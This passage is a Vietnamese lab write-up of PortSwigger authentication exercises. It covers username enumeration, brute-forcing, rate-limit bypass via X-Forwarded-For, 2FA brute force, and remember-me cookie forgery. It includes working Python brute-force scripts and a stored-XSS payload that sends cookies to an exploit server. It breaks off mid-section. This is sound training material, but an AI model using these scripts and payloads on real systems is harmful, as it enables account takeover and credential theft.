Username Enumeration

Mô tả:

Tip

Username enumeration (liệt kê tên người dùng) là khi kẻ tấn công có thể quan sát những thay đổi trong hành vi của trang web để xác định xem một tên người dùng nhất định có hợp lệ hay không.

Quá trình này thường xảy ra ở trang đăng nhập hoặc form đăng ký, giúp kẻ tấn công nhanh chóng có được danh sách người dùng hợp lệ để giảm thiểu thời gian brute-force.

Cách khai thác:

Tip

Khi brute-force trang đăng nhập, chúng ta cần chú ý đến sự khác biệt về:

  • Status codes: Một mã trạng thái HTTP khác biệt so với số đông có thể là dấu hiệu của một username hợp lệ.
  • Error messages: Các thông báo lỗi khác nhau, dù chỉ một ký tự, cũng có thể tiết lộ username có tồn tại hay không.
  • Response times: Thời gian phản hồi chậm hơn có thể cho thấy server đã thực hiện thêm một bước xác thực (ví dụ: kiểm tra mật khẩu), ngụ ý username đúng. Kẻ tấn công có thể làm cho sự khác biệt này rõ ràng hơn bằng cách gửi một mật khẩu rất dài.

Lab: Username Enumeration via Different Responses

Login với username và password bất kỳ:

POST /login HTTP/2
Host: 0ac6002103a7b11e80a380e000b800fb.web-security-academy.net
Cookie: session=0yQ1NoMq5QPMtKW5IPBst0TcvMqlrnsZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: https://0ac6002103a7b11e80a380e000b800fb.web-security-academy.net
Referer: https://0ac6002103a7b11e80a380e000b800fb.web-security-academy.net/login
 
username=abc&password=abc

Response có thông báo như sau:

<p class="is-warning">Invalid username</p>

Chạy Intruder cho param username với wordlist lấy từ Authentication lab usernames | Web Security Academy.

Tìm thấy username là info với thông báo như sau:

<p class=is-warning>Incorrect password</p>

Tiếp tục dùng Intruder để brute-force password với wordlist lấy từ Authentication lab passwords | Web Security Academy.

Tìm thấy password là monitoring với response như sau:

HTTP/2 302 Found
Location: /my-account?id=info
Set-Cookie: session=WdSVyHGX8omYN2MJn9ZKgVEcuoHPp6kp; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Lab: Username Enumeration via Subtly Different Responses

Nếu login bằng username và password sai thì response là:

<p class=is-warning>Invalid username or password.</p>

Khi sử dụng Intruder cho param username với wordlist cũ trong request sau:

POST /login HTTP/2
Host: 0a1d0089034fa49c81372a24000e00e2.web-security-academy.net
Cookie: session=JS7z7m1tQ24qcd4YfcfkEOqGpJWhN3nM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: https://0a1d0089034fa49c81372a24000e00e2.web-security-academy.net
Referer: https://0a1d0089034fa49c81372a24000e00e2.web-security-academy.net/login
 
username=a&password=a

Thì thấy một số request có chuỗi sau trong response:

<!-- -->

Tuy nhiên, dấu hiệu trên chưa phải là dấu hiệu đúng.

Khi filter các response không có chuỗi “Invalid username or password.” thì thấy có một response của username auto với chuỗi “Invalid username or password” (thiếu mất dấu chấm). Đây rất có thể là username mà ta cần tìm.

Tiếp tục sử dụng Intruder để tìm password thì tìm được password là zxcvbn với response là:

HTTP/2 302 Found
Location: /my-account?id=auto
Set-Cookie: session=ogve8we6F435j7SfwedcKxJTqHR7A6PN; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Lab: Username Enumeration via Response Timing

Khi thực hiện login sai quá nhiều lần (quá 3 lần) thì sẽ nhận được phản hồi sau:

<p class=is-warning>You have made too many incorrect login attempts. Please try again in 30 minute(s).</p>

Bypass bằng cách dùng header sau:

X-Forwarded-For: 127.0.0.1

Với 127.0.0.1 có thể là 127.0.0.2, 127.0.0.3, etc.

Khi gửi request với username và password đều sai thì response time là 238 mili giây. Tuy nhiên, khi gửi username đúng (chẳng hạn như username wiener được cung cấp bởi mô tả của lab) cùng với một password dài:

username=wiener&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Thì response time là 2607 mili giây.

Tận dụng điều này, ta có thể sử dụng Intruder để enum username dựa trên response time. Khi sử dụng Intruder, ta đồng thời cũng tăng dần giá trị octet cuối của X-Forwarded-For để tránh bị khóa.

Tìm được username là apps. Tiếp tục brute-force password thì tìm được password là trustno1.

Flawed Brute-force Protection

Cách bypass IP-based blocking:

Tip

Nếu cơ chế chống brute-force reset bộ đếm sau mỗi lần đăng nhập thành công, kẻ tấn công có thể bypass bằng cách đăng nhập vào tài khoản của chính mình sau mỗi vài lần đoán sai.

Có thể lợi dụng thông báo lỗi của việc khóa tài khoản để enum username:

Tip

Tương tự các lỗi đăng nhập thông thường, phản hồi từ server cho biết một tài khoản đã bị khóa cũng có thể giúp kẻ tấn công liệt kê username.

Lab: Broken Brute-force Protection, IP Block

Nếu đăng nhập sai quá 2 lần thì sẽ nhận được thông báo sau:

<p class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).</p>

Thử đăng nhập sai 2 lần và đúng 1 lần thì thấy rằng counter bị reset.

Viết script để thực hiện tấn công bằng 1 request đăng nhập với tài khoản wiener:peter (đăng nhập đúng) chen giữa 2 lần brute-force:

import requests
import time
 
def send_request(session, url, username, password):
    data = {'username': username, 'password': password}
    return session.post(f'{url}/login', 
                       data=data,
                       headers={'Content-Type': 'application/x-www-form-urlencoded'},
                       proxies={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'},
                       verify=False)
 
def main():
    requests.packages.urllib3.disable_warnings()
    target_url = 'https://0aa70000042879e781af8e4800eb0046.web-security-academy.net'
    session = requests.Session()
    
    with open('passwords.txt', 'r') as f:
        passwords = f.read().splitlines()
    
    for i, password in enumerate(passwords, 1):
        # Try carlos login
        response = send_request(session, target_url, 'carlos', password)
        print(f"Trying carlos:{password} - Status: {response.status_code}")
        
        # Handle rate limiting
        if "You have made too many incorrect login attempts" in response.text:
            print("Rate limit detected. Waiting for 60 seconds...")
            time.sleep(60)
            response = send_request(session, target_url, 'carlos', password)
        
        # Send wiener request every 2 attempts
        if i % 2 == 0:
            send_request(session, target_url, 'wiener', 'peter')
            print("Sent wiener:peter request")
        
        # Check for successful login
        if 'Set-Cookie' in response.headers and 'session=' in response.headers['Set-Cookie']:
            print(f"Success! Password found: {password}")
            print(f"Session cookie: {response.headers['Set-Cookie']}")
            break
 
if __name__ == "__main__":
    main() 

Tìm ra được password là mom. Đăng nhập để hoàn thành lab.

Lab: Username Enumeration via Account Lock

Sử dụng payload list trong param username bên dưới từ wordlist Authentication lab usernames | Web Security Academy nhưng tái sử dụng mỗi giá trị 5 lần nhằm trigger account lock (paste danh sách payload 5 lần).

POST /login HTTP/2
Host: 0a1400a403ed29a5809576f3005700c7.web-security-academy.net
Cookie: session=znSir7DtxOjs3g3cmMwpiaDxS4PIk2gY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: https://0a1400a403ed29a5809576f3005700c7.web-security-academy.net
Referer: https://0a1400a403ed29a5809576f3005700c7.web-security-academy.net/login
 
username=a&password=a

Username app01 có response sau khi đăng nhập sai nhiều lần:

<p class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).</p>

Trong khi các username khác chỉ có thông báo "Invalid username or password.".

Tiếp tục sử dụng Intruder để brute-force password.

Help

Trong số các error message của các response chẳng hạn như "You have made too many incorrect login attempts. Please try again in 1 minute(s).""Invalid username or password." thì có một response không có error message nào. Password tương ứng với response này chính là password của carlos (mom).

User Rate Limiting

Một số trường hợp mà IP sẽ được unblocked:

Tip

Một cách khác mà các trang web cố gắng ngăn chặn các cuộc tấn công brute-force là thông qua giới hạn tốc độ người dùng (user rate limiting). Trong trường hợp này, việc thực hiện quá nhiều yêu cầu đăng nhập trong một khoảng thời gian ngắn sẽ khiến địa chỉ IP của chúng ta bị chặn. Thông thường, IP chỉ có thể được bỏ chặn theo một trong các cách sau:

  • Tự động sau một khoảng thời gian nhất định.
  • Thủ công bởi quản trị viên.
  • Thủ công bởi người dùng sau khi hoàn thành CAPTCHA thành công.

Cách bypass user rate limiting bằng cách sử dụng nhiều credentials trong một request:

Tip

Vì giới hạn dựa trên tốc độ các yêu cầu HTTP được gửi từ địa chỉ IP của người dùng, đôi khi cũng có thể vượt qua biện pháp phòng thủ này nếu chúng ta có thể tìm ra cách đoán nhiều mật khẩu trong một yêu cầu duy nhất.

Xem thêm:

Seealso

Lab: Broken Brute-force Protection, Multiple Credentials per Request

Request login có dạng như sau:

POST /login? HTTP/2
Host: 0a71006804838e3a81b92593000b0014.web-security-academy.net
Cookie: session=qDCpostCSNYnE0thSiijP1X2nfpCwzCr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Referer: https://0a71006804838e3a81b92593000b0014.web-security-academy.net/login
Content-Length: 36
Origin: https://0a71006804838e3a81b92593000b0014.web-security-academy.net
 
{
  "username" : "carlos",
  "password" : "a"
}

Hint

Thay đổi giá trị của password từ một chuỗi thành mảng các chuỗi.

Thử thay đổi password thành mảng các chuỗi:

{
  "username" : "carlos",
  "password" : [
    "a"
  ]
}

Thì thấy server vẫn trả về thông báo lỗi sau cho biết password truyền vào đã được xử lý:

<p class=is-warning>Invalid username or password.</p>

Sử dụng script sau để tạo payload:

import json
import sys
 
def main():
    if len(sys.argv) < 2:
        print("Usage: python payload_generator.py <wordlist_file> [username]")
        sys.exit(1)
    
    wordlist_file = sys.argv[1]
    username = sys.argv[2] if len(sys.argv) > 2 else "carlos"
    
    try:
        with open(wordlist_file, "r") as f:
            passwords = f.read().splitlines()
    except FileNotFoundError:
        print(f"Error: {wordlist_file} not found!")
        sys.exit(1)
    
    payload = {
        "username": username,
        "password": passwords
    }
    
    print(json.dumps(payload))
 
if __name__ == "__main__":
    main() 

Chạy script để tạo payload như sau:

python .\payload_generator.py .\passwords.txt

Payload:

{"username": "carlos", "password": ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]}

Gửi request và đăng nhập thành công với response như sau:

HTTP/2 302 Found
Location: /my-account?id=carlos
Set-Cookie: session=DuLPuzbUYJLaQznAZF13gd2d2LQZVuX8; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Intercept một login request bất kỳ và chèn payload trên vào rồi forward để hoàn thành lab.

Bypassing Two-factor Authentication

Cách bypass 2FA:

Tip

Nếu người dùng được yêu cầu nhập mật khẩu, sau đó nhập mã xác thực trên một trang riêng, thì họ thực chất đã ở trạng thái “đã đăng nhập”. Trong trường hợp này, chúng ta nên thử truy cập trực tiếp các trang chỉ dành cho người dùng đã đăng nhập sau khi hoàn thành bước xác thực đầu tiên để xem có thể bypass 2FA hay không.

Lab: 2FA Simple Bypass

Sau khi đăng nhập và có cookie, chỉ cần quay về trang chủ là có thể bypass 2FA. Lỗ hổng nằm ở chỗ, với cookie được cấp phát, ta có thể truy cập vào trang /my-account mà không cần phải nhập mã 2FA.

Flawed Two-factor Verification Logic

Mô tả:

Tip

Đôi khi, logic xác thực hai yếu tố có lỗ hổng, nghĩa là sau khi người dùng hoàn thành bước đăng nhập ban đầu, trang web không xác minh đầy đủ rằng chính người dùng đó đang hoàn thành bước thứ hai.

Ví dụ:

Example

Họ được cấp một cookie liên quan đến tài khoản của mình, trước khi được chuyển đến bước thứ hai của quá trình đăng nhập:

HTTP/1.1 200 OK
Set-Cookie: account=carlos
 
GET /login-steps/second HTTP/1.1
Cookie: account=carlos

Khi gửi mã xác minh, request sử dụng cookie này để xác định người dùng đang cố truy cập:

POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=carlos
...
verification-code=123456

Trong trường hợp này, kẻ tấn công có thể đăng nhập bằng thông tin của mình, sau đó thay đổi giá trị của cookie account thành tên người dùng bất kỳ khi gửi mã xác minh.

POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456

Ảnh hưởng:

Summary

Điều này cực kỳ nguy hiểm nếu kẻ tấn công có thể brute-force mã xác minh, vì nó cho phép họ đăng nhập vào tài khoản của người dùng bất kỳ chỉ dựa trên tên người dùng của họ.

Lab: 2FA Broken Logic

Sau khi đăng nhập, ta sẽ nhận được các cookie sau:

HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=wiener; HttpOnly
Set-Cookie: session=TZhm8S0uiJtek4K40p5Trq6mdWok8Rrw; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Với verify là cookie được dùng để xác định user thực hiện 2FA.

Ngoài ra, sẽ có một email chứa mã 2FA được gửi đến:

Sent:     2025-04-16 14:28:16 +0000
From:     no-reply@0a7b009603fc0a8680988551009400b0.web-security-academy.net
To:       wiener@exploit-0a17006503b80afa80f684bf01fb0009.exploit-server.net
Subject:  Security code
 
Hello!
 
Your security code is 0043.
 
Please enter this in the app to continue.
 
Thanks,
Support team

Request xác thực 2FA:

POST /login2 HTTP/2
Host: 0a7b009603fc0a8680988551009400b0.web-security-academy.net
Cookie: session=Vr3MRlbmKL1hWeBDbxdjZtuI0LtGhqse; verify=carlos
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0a7b009603fc0a8680988551009400b0.web-security-academy.net
Referer: https://0a7b009603fc0a8680988551009400b0.web-security-academy.net/login2
 
mfa-code=1111 

Tấn công bằng cách đăng nhập bằng tài khoản wiener:peter rồi lấy session cookie. Sau đó, thực hiện brute-force mã 2FA với verify cookie là carlos.

Tìm được response xác thực 2FA thành công như sau:

HTTP/2 302 Found
Location: /my-account?id=carlos
Set-Cookie: session=2XY5wfKYOy2JfW2dPPmR3CVxzi23d51N; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Với mã 2FA là 0982.

Sử dụng cookie này và truy cập vào endpoint /my-account để hoàn thành lab.

Brute-forcing 2FA Verification Codes

Cách bypass brute-force protection:

Tip

Một số trang web cố gắng ngăn chặn brute-force bằng cách tự động đăng xuất người dùng nếu họ nhập sai mã xác minh một số lần nhất định. Điều này không hiệu quả trong thực tế vì một kẻ tấn công có kinh nghiệm thậm chí có thể tự động hóa quy trình nhiều bước này.

Lab: 2FA Bypass Using a Brute-force Attack

Ta sẽ tấn công bằng cách dùng một chuỗi các request.

Đầu tiên, khi lần đầu truy cập vào trang web, ta sẽ nhận được một cookie có tên là session. Khi truy cập vào /login sử dụng cookie này, ta sẽ nhận được form đăng nhập có CSRF token như sau:

<form class="login-form" method="POST" action="/login">
 <input required type="hidden" name="csrf" value="sFbQ2k6By1tATgN5Z2JFpGDuyxPyW6rf"> <label>Username</label>
 <input required type="username" name="username" autofocus> <label>Password</label> <input required type="password" name="password">
 <button class="button" type="submit">Log in</button>
</form>

Khi nhấn “Log in”, sẽ có một POST request gửi đến /login với CSRF token trên:

POST /login HTTP/2
Host: 0a48007003ba66a380de587800c20060.web-security-academy.net
Cookie: session=G20QssWngBZc8xoHpDl82JVsQ4MOxLLH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: https://0a48007003ba66a380de587800c20060.web-security-academy.net
Referer: https://0a48007003ba66a380de587800c20060.web-security-academy.net/login
 
csrf=sFbQ2k6By1tATgN5Z2JFpGDuyxPyW6rf&username=carlos&password=montoya

Response của nó là một server-side redirect đến /login2 với một session cookie mới:

HTTP/2 302 Found
Location: /login2
Set-Cookie: session=mcOsk0sDLLxzA941b3XtcxQCkn8wr60N; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Khi gửi lại request này bằng repeater thì nhận được response như sau:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: session=vFGKrLqW6dK7C0TreQftvzdR4dXX7pOo; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 60
 
"Invalid CSRF token (session does not contain a CSRF token)"

Điều này cho thấy CSRF token chỉ có thể dùng một lần cho một cookie. Để có thể gửi lại POST request này, ta cần dùng cookie trong response có status code 400 ở trên để gửi GET request đến /login nhằm lấy CSRF token mới.

Ngoài ra, ta cũng có thể gửi GET request đến /login mà không có cookie để vừa nhận được cookie và CSRF token. Cụ thể hơn, đây chính là request đầu tiên trong chuỗi các request dùng để tấn công.

Sau POST request đến /login là GET request đến /login2 với session cookie mới nhằm lấy CSRF token mới và form nhập MFA code:

GET /login2 HTTP/2
Host: 0a48007003ba66a380de587800c20060.web-security-academy.net
Cookie: session=mcOsk0sDLLxzA941b3XtcxQCkn8wr60N
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Referer: https://0a48007003ba66a380de587800c20060.web-security-academy.net/login

Response của nó có form chứa CSRF token như sau:

<form class="login-form" method="POST">
 <input required type="hidden" name="csrf" value="QdrLq90gHe1d2VIUTn8jFSXsspDFwUjt"> <label>Please enter your 4-digit security code</label> <input required type="text" name="mfa-code">
 <button class="button" type="submit">Login</button>
</form>

CSRF token này cũng như là cookie mới sẽ được dùng trong request xác thực MFA code sau:

POST /login2 HTTP/2
Host: 0a48007003ba66a380de587800c20060.web-security-academy.net
Cookie: session=mcOsk0sDLLxzA941b3XtcxQCkn8wr60N
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: https://0a48007003ba66a380de587800c20060.web-security-academy.net
 
csrf=QdrLq90gHe1d2VIUTn8jFSXsspDFwUjt&mfa-code=1111

Nếu sai lần đầu tiên, response sẽ có thông báo như sau:

<p class=is-warning>Incorrect security code</p>

Nếu sai lần thứ 2, response sẽ chứa một session cookie mới kèm theo form đăng nhập với CSRF token mới. Điều này có nghĩa là chúng ta cần phải thực hiện lại toàn bộ quá trình xác thực kể cả đăng nhập.

Kịch bản tấn công:

  1. GET /login: lấy session cookie 1 và CSRF token 1.
  2. POST /login: đăng nhập với session cookie 1 và CSRF token 1 để lấy session cookie 2.
  3. GET /login2: lấy CSRF token 2.
  4. POST /login2: dùng CSRF token 2 gửi mã 2FA.

Sử dụng Cursor để viết script sau nhằm thực hiện tấn công:

import requests
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
 
def brute_force_mfa(base_url):
    s = requests.Session()
    s.proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
    s.verify = False
    headers = {
        'Host': base_url.split('://')[1],
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Origin': base_url,
        'Referer': f'{base_url}/login'
    }
 
    def get_csrf(html): return BeautifulSoup(html, 'html.parser').find('input', {'name': 'csrf'}).get('value')
 
    for code in range(10000):
        try:
            # First login phase
            r1 = s.get(f'{base_url}/login', headers=headers)
            csrf1 = get_csrf(r1.text)
            
            r2 = s.post(f'{base_url}/login', headers=headers, 
                       data={'csrf': csrf1, 'username': 'carlos', 'password': 'montoya'})
 
            # Second login phase
            r3 = s.get(f'{base_url}/login2', headers=headers)
            csrf2 = get_csrf(r3.text)
            
            r4 = s.post(f'{base_url}/login2', headers=headers,
                       data={'csrf': csrf2, 'mfa-code': f'{code:04d}'})
 
            print(f"Trying: {code:04d}")
            if r4.status_code == 302:
                print(f"Success! MFA code: {code:04d}")
                return True
                
        except Exception as e:
            print(f"Error with code {code:04d}: {str(e)}")
 
    return False
 
if __name__ == "__main__":
    brute_force_mfa("https://0a48007003ba66a380de587800c20060.web-security-academy.net") 

May mắn tìm được MFA code khá nhỏ:

Trying MFA code: 0000
Trying MFA code: 0001
Trying MFA code: 0002
Trying MFA code: 0003
Trying MFA code: 0004
Trying MFA code: 0005
Trying MFA code: 0006
Trying MFA code: 0007
Trying MFA code: 0008
Trying MFA code: 0009
Trying MFA code: 0010
Trying MFA code: 0011
Trying MFA code: 0012
Trying MFA code: 0013
Trying MFA code: 0014
Trying MFA code: 0015
Trying MFA code: 0016
Trying MFA code: 0017
Trying MFA code: 0018
Trying MFA code: 0019
Trying MFA code: 0020
Trying MFA code: 0021
Trying MFA code: 0022
Trying MFA code: 0023
Trying MFA code: 0024
Trying MFA code: 0025
Trying MFA code: 0026
Trying MFA code: 0027
Trying MFA code: 0028
Trying MFA code: 0029
Trying MFA code: 0030
Trying MFA code: 0031
Trying MFA code: 0032
Trying MFA code: 0033
Trying MFA code: 0034
Trying MFA code: 0035
Trying MFA code: 0036
Trying MFA code: 0037
Trying MFA code: 0038
Trying MFA code: 0039
Success! MFA code found: 0039
Response status: 302
Response headers: {'Location': '/my-account?id=carlos', 'Set-Cookie': 'session=FVnpMgb3azfft6cTCL8gOo77v13ARMzw; Secure; HttpOnly; SameSite=None', 'X-Frame-Options': 'SAMEORIGIN', 'Content-Length': '0'}

Lưu cookie này vào trình duyệt và gửi request đến /my-account để hoàn thành lab.

Note

Script này khá chậm nên phải rất may mắn mới giải được lab.

Thay vào đó, ta cần sử dụng Macro như trong lời giải.

Sau khi thử sử dụng thì thấy nó đơn giản hơn việc dùng script do nó có thể trích xuất param từ response:

Khả năng suy ra giá trị của một tham số request từ phản hồi trước đó đặc biệt hữu ích trong một số quy trình nhiều bước và đặc biệt là trong các tình huống mà ứng dụng sử dụng CSRF token.
 
Burp tự động cố gắng tìm các mối quan hệ này bằng cách xác định các tham số có giá trị có thể được xác định từ phản hồi trước đó, chẳng hạn như form fields, redirection targets hoặc query param trong URL.

Tuy nhiên, tốc độ của nó vẫn không nhanh hơn.

Keeping Users Logged in

Tính năng duy trì đăng nhập:

Tip

Một tính năng phổ biến là tùy chọn duy trì đăng nhập ngay cả sau khi đóng phiên duyệt web.

Chức năng này thường được triển khai bằng cách tạo ra một token “ghi nhớ tôi”, sau đó được lưu trữ trong một cookie bền vững (persistent cookie). Vì việc sở hữu cookie này thực chất cho phép chúng ta bỏ qua toàn bộ quá trình đăng nhập, cách tốt nhất là làm cho cookie này không thể đoán được.

Cách khai thác:

Tip

Một số trang web cho rằng nếu cookie được mã hóa theo một cách nào đó thì nó sẽ không thể đoán được. Tuy nhiên, việc “mã hóa” cookie một cách ngây thơ bằng Base64 không mang lại sự bảo vệ nào. Ngay cả việc sử dụng hàm băm một chiều cũng không hoàn toàn an toàn nếu kẻ tấn công có thể dễ dàng xác định thuật toán băm và không có salt được sử dụng.

Trong trường hợp không thể tạo tài khoản nhưng ta có cookie của một user nào đó (chẳng hạn thông qua XSS) thì ta có thể suy luận ra cách tạo thành cookie và tấn công các user khác:

Tip

Kể cả khi kẻ tấn công không thể tự tạo tài khoản, chúng vẫn có thể khai thác lỗ hổng này. Bằng cách sử dụng các kỹ thuật thông thường, như XSS (Cross-Site Scripting), kẻ tấn công có thể đánh cắp cookie “ghi nhớ đăng nhập” của người dùng khác và từ đó suy ra cách cookie được tạo. Nếu trang web được xây dựng bằng một framework mã nguồn mở, các chi tiết chính về cách tạo cookie thậm chí có thể đã được công khai.

Request đăng nhập:

POST /login HTTP/2
Host: 0a1c00d60364d3bf80afe9540076003c.web-security-academy.net
Cookie: session=e5dBwJDjcBtEa7y94sbihILtebgQ7RPF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: https://0a1c00d60364d3bf80afe9540076003c.web-security-academy.net
Referer: https://0a1c00d60364d3bf80afe9540076003c.web-security-academy.net/login
 
username=wiener&password=peter&stay-logged-in=on

Response có chứa 2 cookies:

HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=Q5qi5VBwB2BDrFJrHMzHRDADmcVZlzuI; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Nếu xóa session và chừa lại stay-logged-in, ta vẫn có thể truy cập được trang tài khoản /my-account?id={username}.

Giá trị của stay-logged-in là dạng base64-encoded. Khi decode, nó có giá trị là:

wiener:51dc30ddc473d43a6011e9ebba6ca770

Hơn thế nữa, 51dc30ddc473d43a6011e9ebba6ca770 là dạng MD5 hash của peter (mật khẩu).

Như vậy, ta có thể brute-force stay-logged-in cookie của carlos bằng Hackvertor như sau:

stay-logged-in=<@base64>carlos:<@md5>password</@md5></@base64>

Chúng ta sẽ gửi GET request đến /my-account?id=carlos với giá trị trên. Nếu response có status code là 200 thì đó chính là cookie của carlos. Tìm được một response có status code là 200 tương ứng với password 1234567890.

Info

Lab: Offline Password Cracking

Format của stay-logged-in cookie vẫn là base64(username:MD5(password)). Tuy nhiên, khi thực hiện brute-force như trên thì không thành công.

Lab có lỗ hổng Stored XSS ở chức năng comment, sử dụng request sau để tấn công:

POST /post/comment HTTP/2
Host: 0af200ee03a57591815f128c00820011.web-security-academy.net
Cookie: session=znsav5cRLpZ2r8WhZroA24Lh6w11OyQ8; stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 212
Origin: https://0af200ee03a57591815f128c00820011.web-security-academy.net
Referer: https://0af200ee03a57591815f128c00820011.web-security-academy.net/post?postId=10
 
postId=10&comment=%3cscript%3efetch(%60https%3a%2f%2fexploit-0ac500c5038375a4810011c401fb0016.exploit-server.net%2fexploit%3fcookie%3d%24%7bdocument.cookie%7d%60)%3c%2fscript%3e&name=name&email=a%40a.com&website=

Với field có lỗ hổng là comment và payload sử dụng là:

<script>fetch(`https://exploit-0ac500c5038375a4810011c401fb0016.exploit-server.net/exploit?cookie=${document.cookie}`)</script>

Kiểm tra access log của exploit server thì thấy dòng log sau:

10.0.3.117      2025-04-18 14:22:53 +0000 "GET /exploit?cookie=secret=NrL7W9mjyBB9rXAp1S25p4W5FON83Jon;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

Giá trị của stay-logged-in khi được decode là:

carlos:26323c16d5f4dabff3bb136f2460a943

Sử dụng CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc., tìm được plaintext là onceuponatime.

Đăng nhập bằng tài khoản carlos:onceuponatime và xóa tài khoản để hoàn thành lab.

Resetting User Passwords

Sau đây là một số cách mà các ứng dụng triển khai tính năng reset password.

Sending Passwords by Email

Nếu mật khẩu đã được băm, chúng ta không thể gửi nó cho người dùng qua email:

Tip

Việc gửi mật khẩu hiện tại cho người dùng qua email là không thể nếu trang web xử lý mật khẩu một cách an toàn. Thay vào đó, một số trang web tạo mật khẩu mới và gửi qua email.

Thay vào đó, ứng dụng cần tạo mật khẩu mới và gửi cho người dùng.

Việc gửi mật khẩu qua một kênh không an toàn có thể bị tấn công Man-in-the-Middle (MitM) nếu không triển khai các biện pháp như đặt thời gian hết hạn cho mật khẩu:

Tip

